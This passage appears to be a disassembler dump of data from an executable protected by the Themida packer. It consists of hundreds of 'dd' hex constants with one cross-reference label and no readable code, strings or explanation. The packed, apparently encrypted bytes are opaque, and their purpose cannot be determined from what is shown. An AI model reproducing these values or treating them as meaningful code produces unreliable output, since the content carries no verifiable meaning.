		dd 6735F112h, 9C3740DFh, 7120CF62h, 53CD2FDEh, 19A90FA2h
		dd 7B745D7h, 61384C7Dh,	0F7961EB0h, 8322C8C5h, 27056AB7h
		dd 6924CB6Bh, 0E571BAC8h, 960DBC41h, 358268DDh,	0AFE6079Ch
		dd 19000001h, 0A0464381h, 2ED4D103h, 0BC625F95h, 47EDEA1Eh
		dd 3B7673ADh, 0BDF791E9h, 467E1AC0h, 0D608A349h, 629433D9h
		dd 0ED7B0F65h, 0F5F77209h, 33062497h, 69CF6294h, 77059759h
		dd 0F27F26CEh, 5FE7792Ah, 6A068CC6h, 8EF09F32h,	0F3319F6Fh
		dd 0DEAC4ACFh, 9F3FCAF2h, 38CB7A53h, 0B448DA89h, 0FA64D026h
		dd 991FD0F5h, 8231C4FEh, 33DE6C20h, 0B9EBD570h,	0C58EC36Eh
		dd 0A323BF37h, 0DF28D9FCh, 39D62CCEh, 12C17003h, 7D8536B0h
		dd 6CA641C9h, 9BAE90D9h, 0A76884D3h, 6EE896F8h,	9C27A9E6h
		dd 0AA38CA26h, 398C2D5Bh, 11770ABBh, 1FAD3FB1h,	3417989Fh
		dd 2EB648F9h, 0AE605D8Fh, 0F7598B26h, 77EB04Fh,	31FEBDB8h
		dd 0E34D6E03h, 0E5000000h, 741A174Dh, 2A8A5D7h,	882E2B69h
		dd 13B9B6EAh, 0F4A4779h, 99CB6515h, 225AF69Ch, 0AAE47F25h
		dd 366807ADh, 0C14FE339h, 0F5F77135h, 33D2F063h, 69CF6294h
		dd 7D059759h, 8C2BB1E3h, 0B618C75Ah, 49E66E02h,	0C203B113h
		dd 0E4F27F17h, 1EACC15Ch, 0F5FB08D8h, 0D56817C8h, 57ADDD26h
		dd 7794B0F2h, 0EDEA9B15h, 1FBE5B67h, 0FCAB5AEDh, 103C1F6Ah
		dd 78219105h, 0BAD46216h, 5CEBCA3Dh, 710438D4h,	35E660C2h
		dd 4B7D1CA2h, 5A9831B9h, 0F88618C7h, 0FC9E1FFEh, 6887E99Ah
		dd 5EF123C2h, 70ADA4D2h, 72BAFDD0h, 3F3C6E0Dh, 35C8FA99h
		dd 6C0811AFh, 47F6A538h, 5D8F2EB4h, 74A844CAh, 0EF55B8E1h
		dd 0AF15787Fh, 63AD45Ch, 767BC473h, 0F93883C8h,	22C169CBh
		dd 0AE4DF3F0h, 3C8E97Ch, 8A000000h, 9B332D4Dh, 0B150D669h
		dd 0CB66EC7Fh, 0E4800699h, 0FD971DB0h, 10AA30C3h, 1DBB41D4h
		dd 39D258EBh, 45E268FBh, 572A7C0Fh, 0C781E789h,	4, 8704EF83h
		dd 895C243Ch, 8953242Ch, 4C381E3h, 83000000h, 1C8704EBh
		dd 34895C24h, 0E2895224h, 4C281h, 0EA830000h, 24148704h
		dd 2404895Ch, 8904EC83h, 0A2BF243Ch, 8906AC9Ah,	8B545FFEh
		dd 0C4812404h, 4, 29CF68h, 243C8900h, 7889F789h, 48B5F08h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 5724348Bh
		dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFFCD895h, 0C31BC1C9h
		dd 80014622h, 0FBCED08Ch, 0BAB81419h, 306ACA6h,	75E0FFC5h
		dd 3055E537h, 73280848h, 0E60652BAh, 320EBF54h,	0A50FC019h
		dd 0FC4DA32Ah, 181DB5F4h, 964EAB5h, 3D328188h, 0E87F8089h
		dd 13h,	2C6C4193h, 91CA5741h, 2369A364h, 0E839B8AEh, 6044114Ch
		dd 8E9h, 0D407E400h, 4D8F7BDh, 10E95Dh,	2AB90000h, 9A95D961h
		dd 820DA1Ah, 5E0EC3E7h,	5961A55Ch, 3EB8051h, 0FCC1815Ah
		dd 0BE00005Fh, 0
		dd 0B70FF560h, 34FF61FEh, 58D88A0Eh, 38D0Fh, 0BF0F0000h
		dd 0E4F081FAh, 6654683Bh, 82DEEB81h, 0D1B4F081h, 0E8601CE6h
		dd 7, 0B0A35D17h, 5E2772E3h, 2870Fh, 61600000h,	0F5F08161h
		dd 60666020h, 38D0Fh, 0BF0F0000h, 0A5CA80C9h, 31048961h
		dd 0AC0420BAh, 82BB6627h, 4EE837Eh, 5BF95057h, 4FE815Bh
		dd 0FFFFFA1h, 1985h, 870F6000h,	2, 8166CA8Bh, 611722E1h
		dd 37E9h, 12DBA400h, 9E8EBB4h, 0E1000000h, 410A759Dh, 156D0B05h
		dd 0E1816660h, 0B70F557Bh, 0E95A61F0h, 0FFFFFF5Eh, 805189A2h
		dd 3FAD42BCh, 540B26E1h, 8877C407h, 97D943E7h, 0FE9h, 2008DF00h
		dd 74h,	2 dup(0)
		dd 503E9h, 1143DB00h, 9BD16E14h, 255FF89Eh, 0B0E48228h
		dd 41730DB3h, 5F1B0944h, 0E88E8BC5h, 751B184Ch,	5ABA8DAh
		dd 0E1373466h, 6E37BF4Dh, 0EE61F5F7h, 629433D0h, 92AF49CFh
		dd 0A415F204h, 4EFDAEFCh, 0DA0CAB51h, 0F022C147h, 83AD75Dh
		dd 1A54EF75h, 31630187h, 81EB309Eh, 3983C615h, 6CA842CAh
		dd 20C82AD9h, 35BD4F81h, 24D3669Ch, 69F1A3C2h, 540396CCh
		dd 75AF4AF2h, 35C14FE3h, 63FCA416h, 8B3150B2h, 992BBEF0h
		dd 1A28774Eh, 0E4460EE1h, 0D96CA03Ch, 0B6056FD2h, 172BEA6Bh
		dd 82E46245h, 8053FDAh,	0FE91C362h, 0A3E64F72h,	0CF570BFCh
		dd 3A9F0133h, 0D0E210F2h, 0D75FA6B8h, 40A0023Ch, 96h, 62943300h
		dd 15B143CFh, 7ADFFCA4h, 9F2DC132h, 0FCA41557h,	92E9041h
		dd 0A6B8FFE9h, 1ACh, 96336C00h,	0B73FD164h, 0DA82E41Eh
		dd 0D4226D3Dh, 0BEA7D66Fh, 0AD5CEF25h, 71CEB5FEh, 4FDBBC83h
		dd 0E7860EA0h, 117322B5h, 438D65Ch, 0A650DE72h,	0F2FCA365h
		dd 0D521AF41h, 0C3FCA365h, 75FBB012h, 2F9609D9h, 0C959E2E3h
		dd 6401871Ah, 31949B2Eh, 7A0C5BCBh, 8C1F55F2h, 0AE167BDDh
		dd 496CC69h, 1EB1E37Ch,	3CEE0D6Fh, 0DEDC1AA8h, 0BBCFCA3h
		dd 306201A9h, 9933F533h, 0BA42D467h, 0DA82E420h, 1E706D3Dh
		dd 5B087C9Dh, 0A5CF1AACh, 761AEA1Eh, 64EA9F01h,	0EB21BEC7h
		dd 8423A93Ch, 0E72ABF52h, 397C119Dh, 0DBF28CF3h, 0A342A94Dh
		dd 9746F7FCh, 84C8BA05h, 5215D395h, 8C2BD1F0h, 0A841C75Ah
		dd 55B8D76Ah, 8DD72BEFh, 63DEA6B8h, 9E000000h, 0D4679933h
		dd 0EC7FB54Eh, 0AD125A9Dh, 0DC6AFE13h, 0FCA4161Ah, 0AD49D586h
		dd 0EBFCA415h, 0E88E8B3Ah, 0F97F124Eh, 7796295Bh, 18EAA814h
		dd 9DA6B906h, 45h, 593275Dh, 0FCA415F1h, 0F49CFEAFh, 0D93265Ah
		dd 27AD4072h, 3DC35688h, 0D2D96C9Eh, 0F8FF056Fh, 8218F91Fh
		dd 0C42750FFh, 437D1778h, 96330846h, 7C45D164h,	0E0FCA415h
		dd 0A151317Bh, 0F4A6B8FFh, 1, 0CE9A33B4h, 92B747CAh, 18AA59EDh
		dd 0E1289CCDh, 3294D1ADh, 2658F77Dh, 3D6F0C94h,	0D6D91DABh
		dd 16C7FCA3h, 95F8FFB4h, 154FE82Fh, 26309218h, 7ECB1186h
		dd 64F6A594h, 7E1B2BD6h, 19A73BF2h, 0F5FA25DDh,	0E5840ABBh
		dd 0EB7104B3h, 6B1D1A4Ch, 831648E3h, 2BCA72D4h,	0BE518322h
		dd 0CF629E38h, 0D1287120h, 1CD88057h, 0E57104B3h, 0F5FAD60Fh
		dd 29BB06B8h, 0FDAA36BDh, 72BA1F81h, 3F3C6E0Dh,	8B6BF98Dh
		dd 15F5FAAAh, 0BB5A0264h, 95D26CEFh, 5AA37F04h,	334F3B02h
		dd 0B447F6CCh, 8BC38F2Eh, 9EBD0488h, 770C9F4Eh,	0E887C834h
		dd 7307B9B6h, 0FB1411E5h, 7CDE8FF5h, 0FFD9B57h,	120FAA0h
		dd 53BA0000h, 61EF816Fh, 0F27F35B0h, 0A234C778h, 0E7497B1Ah
		dd 716EA03Fh, 68FA2CCBh, 7A0D47E0h, 2EB469CBh, 35CA5D8Fh
		dd 0A6458AF2h, 7AC57774h, 2CC7C2BAh, 0A2B6FFA5h, 0AA3BEF37h
		dd 5B97BC1Eh, 0E6A00FEFh, 0FA32C452h, 0BD6EF5FAh, 47FB5Bh
		dd 53BB0000h, 62F08280h, 7CA41574h, 183359A4h, 9C4DA937h
		dd 9A4B7CA4h, 4E2951h, 0C432BE51h, 0A67CA4DAh, 0BC42D507h
		dd 857EA1Eh, 81EF7FC5h,	24AFF03Ch, 18BE4CDEh, 48FCA4DBh
		dd 5EF123C0h, 0C20300AFh, 8Ah, 0AA6F5384h, 9224D311h, 7F304104h
		dd 59EC9DF2h, 700234D3h, 0F0A84EDCh, 47F8F5FAh,	8CEE24C1h
		dd 1328C76Dh, 0FAF07185h, 0CF7E2FF5h, 0F10FB03Ch, 0A03DF5FAh
		dd 0B651D76Ah, 579AE97Ch, 0F55881EDh, 0A0A9488Fh, 891BCA06h
		dd 0CA2C6601h, 539D25ABh, 9A3333C1h, 9C4DEBCAh,	0B2E48309h
		dd 0E9FD520h, 364A75ECh, 0DFE016A4h, 0FC0FC9Eh,	8EF1F8ADh
		dd 2FC10126h, 467C159Dh, 0EEA204B3h, 6E890660h,	4FE192F2h
		dd 91F32DC7h, 6F533472h, 561EF81h, 93F273BFh, 2AC94FE2h
		dd 0CD71805Eh, 1AC99B62h, 0C3D8771Dh, 0F721C135h, 64C8EEF5h
		dd 697982F5h, 7EF7D11h,	91F5F77Fh, 0EF8231E0h, 67191863h
		dd 72BAFD67h, 0A7A26E0Dh, 8F12E23Eh, 0A74D4AF9h, 2E60FF08h
		dd 0AA3DEC9Bh, 0BF528624h, 0A8EF55B8h, 34DAD709h, 0BCF08C95h
		dd 0F597A0Dh, 0A7000000h, 0C171785Ch, 0FC952295h, 75B517C6h
		dd 9B332D4Dh, 0B150D669h, 0CB66EC7Fh, 0E4800699h, 0FD971DB0h
		dd 10AA30C3h, 1DBB41D4h, 39D258EBh, 45E268FBh, 682A7C0Fh
		dd 122Ch, 68243C89h, 30A1h, 83243489h, 1C8904ECh, 4EC8124h
		dd 89000000h, 0A8B9240Ch, 8906ACA8h, 8B5459CEh,	0C481241Ch
		dd 4, 52F78957h, 5389FA89h, 8B5F5A08h, 8952241Ch, 4C281E2h
		dd 83000000h, 148704C2h, 34FF5C24h, 0C4835E24h,	0D233E904h
		dd 0DF2CFFFCh, 0ACAD4EB8h, 0FFC50306h, 0F5E886E0h, 95F0FB78h
		dd 8ADB9111h, 0BF470B19h, 20037952h, 6666205h, 77A4BB25h
		dd 17DE5456h, 0F0C27748h, 65A6986Fh, 0A1EDEC44h, 0A51A675Dh
		dd 39EB7Ch, 0CC00C100h,	0E400C102h, 0C102h, 0EB000000h
		dd 88CFFC21h, 8EFEE52Dh, 84AAF425h, 94C7FF21h, 90C6F566h
		dd 3AFEDF48h, 71AADD04h, 0FADADE3Ch, 0BDC2C526h, 0E7CEF02Dh
		dd 0A6AAFB28h, 0F9AA92A0h, 3FF7B148h, 5AC61815h, 1BEE104Ch
		dd 9FAA864Ch, 0CFFD448h, 925DA1F1h, 7ACA51C3h, 50B098C5h
		dd 0F814F74Eh, 0C329F01Dh, 39038255h, 1CA3E448h, 66BEA0F5h
		dd 0FEDE914Eh, 3321C218h, 0F9AE28F0h, 0B92F1848h, 0F3AC386Ch
		dd 941ECDD5h, 0C4796E4Eh, 0FE171210h, 0E7AC385Ch, 0A0FA863Ch
		dd 0F9AE28F0h, 0B92F1848h, 0F3AC386Ch, 941BDAD5h, 0C4796E4Eh
		dd 0CFB97810h, 0FE3F9148h, 0B4877DD6h, 0B00915A4h, 0E108AAF7h
		dd 17F5002Fh, 6A271A4Fh, 14AC3864h, 0CFA17888h,	0C8139148h
		dd 0FEF8435Bh, 6051DF99h, 4D2F578Eh, 28AC385Eh,	3FAA96A1h
		dd 0A9988048h, 7B0BF517h, 0E7AA95A0h, 5B12C348h, 0E618F1D4h
		dd 0ACCB40C2h, 0F5581A2Eh, 0D7AEB50Ch, 9FAA915Ch, 1DD508EAh
		dd 4E1F22AEh, 75784EDEh, 2691EB10h, 6E044CE9h, 0F5F5CF1Bh
		dd 3FBE7948h, 66019148h, 43303EBBh, 0D40D661Ah,	38991B1Eh
		dd 0A29F5E91h, 0F143FEF4h, 0A7AA9148h, 4E4FF036h, 29EEF3F0h
		dd 0CEBA2E70h, 0C3EE1817h, 0F3AC784Ch, 88319148h, 678EB05Eh
		dd 2FAAFB10h, 3FAA92A0h, 5CF3B148h, 0EBE61811h,	0C3EE104Ch
		dd 0F3AA8A4Ch, 3AFBD048h, 29AC369Ch, 0FA535312h, 65D102Eh
		dd 2A1F6E71h, 0A5AC3858h, 0E442C748h, 0D3AA9148h, 70F45216h
		dd 7DAEB53Ch, 68AEB50Ch, 79AA9148h, 7641521Eh, 422F909Dh
		dd 6AAC384Dh, 5FD96DCDh, 39A52F4Eh, 2C55978Dh, 0C1AEFBB4h
		dd 1F90A9E0h, 7AE6FA20h, 0C0F8C165h, 2DBD2F79h,	0ABF097B4h
		dd 928EA5C9h, 9C877414h, 6D3B2C79h, 85CC97E1h, 0F7CB43B2h
		dd 0C6062B22h, 0E7AC7928h, 98E49148h, 534B0AD9h, 0FCAA80A0h
		dd 19638948h, 72267AD5h, 2E7F46BCh, 0B55CF0D9h,	0BDF56D61h
		dd 72CB69C3h, 412CB57Ch, 3E2B98E4h, 4087C3C4h, 3FC09122h
		dd 9FA9791Bh, 948A9148h, 0BB23CA8Bh, 0B72B956Ch, 0F9BD956Ch
		dd 0AFE99148h, 0EE497F8Bh, 557A6E1Ch, 9C42C048h, 0EFAA9148h
		dd 6EF35211h, 72AEB504h, 0ECAEB50Ch, 0BDAA9148h, 0BF6F5219h
		dd 1842E2Eh, 25C02B2Eh,	0CD5D102Eh, 12F18E8h, 99AC3DE5h
		dd 0FA42C148h, 0DCAA9148h, 0F7F25210h, 0BEAEB50Ch, 83AEB50Ch
		dd 8FAA9148h, 132D5218h, 0DB025CA9h, 0A85B51E3h, 0B190282Eh
		dd 7B521A11h, 3FAA9384h, 324014C1h, 0F2997E4h, 92F1850h
		dd 0C0AC3DE5h
		dd 0FB462888h, 56599148h, 7EAA9CA1h, 3964A448h,	5A3BBC56h
		dd 7B623C5Dh, 0E7C03B01h, 0F3A9791Ah, 0A38A9148h, 0A823CB8Bh
		dd 3A2B956Ch, 3FBD956Ch, 0CDE89148h, 1286398Bh,	562F5783h
		dd 0B0AC385Eh, 11F89122h, 0FCAA914Bh, 2469CB68h, 3B8EC5C1h
		dd 9B8ED5C9h, 0CFAA9155h, 6769C30Ah, 2AF89702h,	2C3DB2E8h
		dd 2C19F9B9h, 0C1CAF864h, 7644CF06h, 9FAC1D47h,	9DFA9148h
		dd 0BFF0A047h, 0D7AE1029h, 0CA900BE3h, 0FCAF1747h, 59149148h
		dd 0C0830260h, 36BA24FDh, 0B4FE284Eh, 72219DF5h, 0F503B8E1h
		dd 8A5614C5h, 49AB97E4h, 7803B81Dh, 3FC041B7h, 9FA9791Eh
		dd 918A9148h, 9323CF8Bh, 0B72B956Ch, 0F9BE956Ch, 0AAEC9148h
		dd 6D43AA8Bh, 0B1AA9148h, 5F07CCB9h, 0AE30D3ABh, 0C5AC0BE1h
		dd 5ECC23E3h, 7C236513h, 0FA03A035h, 732B1CC3h,	0BA2797E1h
		dd 99038409h, 27FD9122h, 0E7AA914Bh, 0AC69CE68h, 0FD8EEDC1h
		dd 0F88ED5C9h, 7EAA9155h, 1169C60Fh, 0AE94C037h, 0DF99B893h
		dd 522F185Dh, 95AC387Dh, 0F73F70C9h, 0D20314C1h, 0E32397E1h
		dd 39038281h, 9F631C61h, 4A6C97E1h, 0E10387F9h,	72171A1Bh
		dd 91AC384Ah, 3720B563h, 7EA71947h, 6DFA9148h, 0C0E4CBF7h
		dd 999B9E36h, 66F2CB11h, 0D707B54Ch, 321A06Fh, 9540101Bh
		dd 208A4F05h, 2F1F24B7h, 1A2797E1h, 0C906E2B4h,	0FF89122h
		dd 0F3AA914Bh, 0A369CB68h, 0F88EC5C1h, 7A8ED5C9h, 3FAA915Fh
		dd 0A669C30Ah, 0AF3F9A25h, 0E7AA9BA1h, 3C2A748h, 2A7C4CD1h
		dd 14B2A2D9h, 7EAA915Bh, 0E6DC6D93h, 4DAAA104h,	4B773679h
		dd 90C450BAh, 0C2386E4Ah, 50A588FDh, 9ACBC94Eh,	0AE5547C3h
		dd 0D7F99122h, 9FAA914Bh, 9469CA68h, 0E38ECDC1h, 0F78ED5C9h
		dd 0F9AA9153h, 6669C20Bh, 0C8BCDF2h, 0B4F21B05h, 36A8C0DDh
		dd 46611A4Eh, 4E8704CDh, 0A1AAFB4Eh
dword_582B68	dd 0F9AA92A0h, 3FF0B148h, 5AFE1812h, 1BEE104Ch,	9FAA8D4Ch
					; DATA XREF: Themida_:00550235o
		dd 0CF8D348h, 4BC52CB4h, 9C59A8CDh, 3FA8274Ah, 55BC20CDh
		dd 7EC0C24Eh, 3FA97918h, 0C78A9148h, 8B23C98Bh,	0A32B956Ch
		dd 0F3BC956Ch, 0A9EA9148h, 0C8D2658Bh, 7EAA9EA0h, 0E739D648h
		dd 51291FF8h, 5DFFE8ECh, 0B5A336A5h, 1F6B2F2Eh,	0F9AE7917h
		dd 38199148h, 18FA4950h, 0B4A06AF6h, 14AEB50Ch,	9610F748h
		dd 0C3EE1861h, 0F3C0C94Ch, 0F9A9791Ah, 0A68A9148h, 2A23CB8Bh
		dd 7B2B956Ch, 9FB2956Ch, 9DE89148h, 0EC9D8D8Bh,	0FCCA10FFh
		dd 7C9B62FFh, 0FA03B0B1h, 817E1B29h, 96BA24FDh,	9FA4784Eh
		dd 61989148h, 10AB16F1h, 39BEA8C4h, 18D0EF78h, 8F5614C5h
		dd 7EC097E4h, 3FA97919h, 0C68A9148h, 8323C88Bh,	0A32B956Ch
		dd 0F3BF956Ch, 0A8EB9148h, 0F375178Bh, 0AE556BFFh, 0D7FB9122h
		dd 9FAA914Bh, 9669C868h, 0E38EDDC1h, 0F78ED5C9h, 0F9AA9155h
		dd 2D69C009h, 0DAAE2076h, 0C488907h, 56171AEBh,	46AC384Ch
		dd 4EA1C0CDh, 0A3AAFB4Eh, 0F9AA92A0h, 3FF2B148h, 5AEE1810h
		dd 1BEE104Ch, 9FAA884Ch, 0CFAD148h, 0E0DB4B1Dh,	7E83C693h
		dd 0FF03B8C5h, 0EA1B148Eh, 14ED97E1h, 3C42C148h, 0BFAA9148h
		dd 46F25210h, 66AEB50Ch, 0E6AEB50Ch, 0B9AA9148h, 0A50D5218h
		dd 93C34220h, 7CA92B25h, 9B2B8326h, 3ED9476Ch, 187C1A01h
		dd 5ABA24FDh, 0AFAAFB4Eh, 0FCAA92A0h, 0BDF4B148h, 1BDE1816h
		dd 0BBEE104Ch, 0CFAA8B4Ch, 24FCD748h, 4810827Fh, 74610B04h
		dd 50D96DCDh, 0AE55694Eh, 0D7FF9122h, 9FAA914Bh, 9269CC68h
		dd 0E38EFDC1h, 0F78ED5C9h, 0F9AA915Eh, 8869C40Dh, 0C1A5354Fh
		dd 0E2271A83h, 16AC3855h, 6682FCCDh, 0CA3F184Eh, 35AC3843h
		dd 50BC20CDh, 0C81FD64Eh, 6441B920h, 0BE521AD5h, 64F8B57Ch
		dd 0C8438D8Eh, 4CAA9148h, 0ACFCEAh, 0F713617Ah,	3B7AE3Bh
		dd 0D7BA24FDh, 3FB9794Eh, 7AB9148h, 0F65ECE0Eh,	9CA2D524h
		dd 0AC98E195h, 0AA714208h, 0FCA1793Fh, 6AF49148h, 87EDA839h
		dd 3C976320h, 0DC14F798h, 6AF0CBA4h, 5FD96DCDh,	0ACAAFB4Eh
		dd 0FCAA92A0h, 0BDF7B148h, 1BC61815h, 0BBEE104Ch, 0CFAA8A4Ch
		dd 24FFD448h, 871E9478h, 903BD8A5h, 37C24EC9h, 0FBA5B764h
		dd 3FAA9148h, 9FC041B7h, 0CFA9791Fh, 0B88A9148h, 8F23CE8Bh
		dd 0BD2B956Ch, 0FCBD956Ch, 29ED9148h, 2870DA8Bh, 491D9EBDh
		dd 0E71314C1h, 0E7C097E1h, 0F3A97918h, 0A18A9148h, 0B823C98Bh
		dd 3A2B956Ch, 3FB0956Ch, 0CFEA9148h, 1828008Bh,	4A2423EBh
		dd 0E51B148Eh, 47ED97E1h, 0A0EAC1B3h, 6609AE20h, 2D42C0FDh
		dd 11AA9148h, 0B7EB76AEh, 879C7C33h, 1BDA0237h,	545DE905h
		dd 0FC2E9EEAh, 24AA9148h, 1B9E1012h, 807F0E2Ah,	305A2647h
		dd 4EBA24FDh, 0A2AAFB4Eh, 0F9AA92A0h, 3FF3B148h, 5AE61811h
		dd 1BEE104Ch, 9FAA864Ch, 0CFBD048h, 0FB9CE0F3h,	805614C5h
		dd 43CC97E4h, 2C556823h, 96F89122h, 3FAA914Bh, 0C569CB68h
		dd 0CB8EC5C1h, 0E38ED5C9h, 0F3AA9153h, 5E69C30Ah, 0B7CB3D03h
		dd 0F56108DEh, 969E08DDh, 2A2F184Eh, 0E4AC3845h, 4E9E94FDh
		dd 997A6E4Eh, 0FA42C348h, 0DCAA9148h, 0F7F05212h, 0BEAEB51Ch
		dd 83AEB50Ch, 8DAA9148h, 0D957521Ah, 82A45D8Dh,	0F6819D5Bh
		dd 792363F7h, 7803A3F5h, 3FAA80A1h, 112A6248h, 90A5D89Bh
		dd 0F42A5F0Fh, 8C0EE565h, 75CC657Fh, 0ADAAFB90h, 7EAA92A0h
		dd 0FCF3B148h, 0BBE61811h, 0EBEE104Ch, 0E7AA8B4Ch, 30FBD048h
		dd 0A3B7B650h, 7C31E5B2h, 6C43E4BDh, 1EAA9148h,	694FC579h
		dd 15E7536Eh, 0DD4B9AF1h, 0C5946DABh, 0F3AEB5FBh, 62E9E88h
		dd 14AA914Ah, 3C42C748h, 0BFAA9148h, 46F45216h,	66AEB53Ch
		dd 0EBAEB50Ch, 0BFAA9148h, 0D5F8521Eh, 57A2E60Ch, 96B580FDh
		dd 9FAC784Eh, 0C2119148h, 0ABF1468h, 0E51B148Eh, 93E597E1h
		dd 0FF42C748h, 5EAA9148h, 0B6F45216h, 1EAEB53Ch, 0D3AEB50Ch
		dd 0A1AA9148h, 0DE97521Eh, 972FDA26h, 9C10ACFBh, 0CE40102Eh
		dd 0EE21F75Bh, 7E1F1829h, 0A7AC385Fh, 0B8103AAAh, 118E95C9h
		dd 0F6F55488h, 0FCAA94CCh, 0D52D2B48h, 8A55F88Ah, 990381FDh
		dd 27FC9122h, 0E7AA914Bh, 0AD69CF68h, 0FD8EE5C1h, 0F88ED5C9h
		dd 7EAA9152h, 0E569C70Eh, 761C1650h, 7221E282h,	0E103816Dh
		dd 805614C5h, 0E2B97E4h, 0D1A0F020h, 0EB8341B7h, 3903BBCDh
		dd 148E51CBh, 66A2E4F5h, 9E2F184Eh, 78AC387Dh, 508914FDh
		dd 412F1A4Eh, 14AC387Ah, 3C42C748h, 0BFAA9148h,	46F45216h
		dd 66AEB53Ch, 0E8AEB50Ch, 0BFAA9148h, 0DB0A521Eh, 62EF211Dh
		dd 80A50E5Ah, 2A371A87h, 0A9AC3845h, 0A44065F7h, 1BFD9122h
		dd 0F9AA914Bh, 0A369CE68h, 7A8EEDC1h, 3B8ED5C9h, 9FAA9150h
		dd 9169C60Fh, 11F166AEh, 99B11AB4h, 0FA42C448h,	0DCAA9148h
		dd 0F7F75215h, 0BEAEB524h, 86AEB50Ch, 8AAA9148h, 0DE6E521Dh
		dd 0A82960D4h, 98536D28h, 71218AC3h, 78039211h,	6B108AC3h
		dd 0ACEA7A04h, 71D9E90h, 0D6530CC1h, 0F3C097E1h, 0F9A9791Fh
		dd 0A38A9148h, 223CE8Bh, 7B2B956Ch, 9FBE956Ch, 98ED9148h
		dd 0D414AE8Bh, 35B54266h, 50BC20CDh, 0F243D64Eh, 0A7AA9148h
		dd 4F10D745h, 0A88B4AE1h, 0B36AD1BEh, 0E7AE7972h, 2E039148h
		dd 0FF432696h, 2EAA9148h, 0F87069C0h, 6CCAC1D8h, 9FAA82A1h
		dd 0F78F4948h, 38107ECCh, 188265Eh, 0D89D93B7h,	528C1BB3h
		dd 7E2B9E16h, 5EAA9148h, 9B8ED5C3h, 0CFAA81A1h,	0A7C71D48h
		dd 0A5D13A99h, 7439FBEAh, 5B99B751h, 2EAA1AB7h,	2B269E1Ah
		dd 77AA9148h, 0CFAA9146h, 0DA907230h, 7707C8F3h, 9766340Ah
		dd 0F3F5C2DCh, 53232E79h, 67F0ACCAh, 9B8ED5C1h,	0CFAA9FA1h
		dd 9077D148h, 0CE2CE0E3h, 8710BD27h, 0A4AB6694h, 708704C1h
		dd 8A5597E1h, 990381FDh, 0DF6314C1h, 622797E1h,	0F506E2B4h
		dd 4640102Eh, 0F37A6EB3h, 7EAA97C4h, 32171848h,	16AC385Eh
		dd 6682FCCDh, 0A7A9244Eh, 1BFB9122h, 0F9AA914Bh, 0A569C868h
		dd 7A8EDDC1h, 3B8ED5C9h, 9FAA915Ch, 0B769C009h,	0F0D72CC3h
		dd 662197E1h, 0FF039401h, 0FCC091C3h, 7EA9791Fh, 608A9148h
		dd 0E323CE8Bh, 8B2B956Ch, 0E7B0956Ch, 0A4ED9148h, 5694C8Bh
		dd 0B17FDA56h, 7645102Eh, 0D61FB8A7h, 14AC3868h, 0AE371848h
		dd 6EAC387Bh, 5AA0BCCDh, 0C02F984Eh, 77AC3841h,	0D780A8FDh
		dd 3EAB784Eh, 22239148h, 0C90385F5h, 0E7AA96A0h, 83A94648h
		dd 48763B0h, 0F02F1C12h, 55AC3DE6h, 968BB0F5h, 19A5C14Eh
		dd 0CFAA9150h, 0E7AA82A1h, 157BC448h, 8F1D0B78h, 50DE847Ah
		dd 82173290h, 940FEA38h, 1E8E95C1h, 25B35AA9h, 8E3F6E33h
		dd 0C2AC384Ch, 508F80C5h, 0EE371C4Eh, 14AC3DE6h, 3C42C448h
		dd 0BFAA9148h, 46F75215h, 66AEB524h, 0EEAEB50Ch, 0BCAA9148h
		dd 6076521Dh, 3A808B02h, 0F3A0DF76h, 82C32CC3h,	46FA97E1h
		dd 62A3B554h, 0F503B585h, 0A97B1AD8h, 0FCAA9FA1h, 24BA4348h
		dd 8982BC37h, 6AB1B24Ch, 5F700141h, 0FFB9122h, 0F3AA914Bh
		dd 0A069C868h, 0F88EDDC1h, 7A8ED5C9h, 3FAA915Eh, 9B69C009h
		dd 7A238C7Bh, 0E10395ADh, 0E18B04B7h, 72CC97E1h, 852F1898h
		dd 14AC387Dh, 3C42C448h, 0BFAA9148h, 46F75215h,	66AEB524h
		dd 0EAAEB50Ch, 0BCAA9148h, 0D7D8521Dh, 33240394h, 0E63718BDh
		dd 59AC3879h, 66BC20CDh, 0E7C0C24Eh, 0F3A9791Eh, 0A78A9148h
		dd 8823CF8Bh, 3A2B956Ch, 3FB2956Ch, 0C9EC9148h,	2043C48Bh
		dd 5FCABB41h, 0C5CE12C6h
		dd 72CB82FDh, 55A184F5h, 8D1D9E4Eh, 70DD3920h, 0E714F7F3h
		dd 0EB9E10BDh, 0F662629Fh, 1BFC9122h, 0F9AA914Bh, 0A269CF68h
		dd 7A8EE5C1h, 3B8ED5C9h, 9FAA915Fh, 0A869C70Eh,	0B0A320B5h
		dd 5F9D2F2Eh, 0F9A77811h, 62E09148h, 98BEE4D7h,	8231DC95h
		dd 6029A66Ch, 66BA24FDh, 0B4AAFB4Eh, 0F3AA92A0h, 3AF1B148h
		dd 0D8F61813h, 5AEE104Ch, 3FAA874Ch, 5CF9D248h,	42D92E19h
		dd 4BD96DCDh, 231D9E4Eh, 521041B7h, 758E5DB1h, 0D7ACF8CDh
		dd 68AAFB4Eh, 9FAA92A0h, 0CF5B148h, 0C3D61817h,	0D7EE104Ch
		dd 0F9AA854Ch, 3FFDD648h, 0F71F1891h, 0F9AC3858h, 36BC20CDh
		dd 62BD64Eh, 0D208EF63h, 0F3AA95A0h, 8BBF0148h,	0E843F1E9h
		dd 8FAA9148h, 469CC564h, 0CD71756Fh, 599E71D4h,	806389F4h
		dd 79267AD5h, 10FAF089h, 0FCAA915Ah, 0D5F8E9FAh, 0CE6E68CAh
		dd 86B27D73h, 11110D33h, 0A32167FDh, 0F543956Ch, 1CAA9148h
		dd 0FC2D1329h, 18AA1ACBh, 0B600D6F1h, 77AEB50Ch, 0CFAA914Dh
		dd 0D228DEE6h, 2321F7F8h, 4421C916h, 0FA03B6ADh, 6D6B14C1h
		dd 8A5597E1h, 990381FDh, 27FF9122h, 0E7AA914Bh,	0AE69CC68h
		dd 0FD8EFDC1h, 0F88ED5C9h, 7EAA9150h, 4B69C40Dh, 0A2E8BDDFh
		dd 0BC5614C5h, 2E2B97E4h, 0D7BD2DCCh, 442341B7h, 0FA03BF1Dh
		dd 706F14C1h, 3FC097E1h, 9FA97919h, 968A9148h, 0AB23C88Bh
		dd 0B72B956Ch, 0F9BC956Ch, 0ADEB9148h, 7F5708Bh, 3FAA81A0h
		dd 0F8367648h, 0DBC3EB7Eh, 0D882E32h, 0BF371F2Ah, 0CC1FB2FCh
		dd 0A3AC3846h, 681B148Eh, 55F997E1h, 9C42C048h,	0EFAA9148h
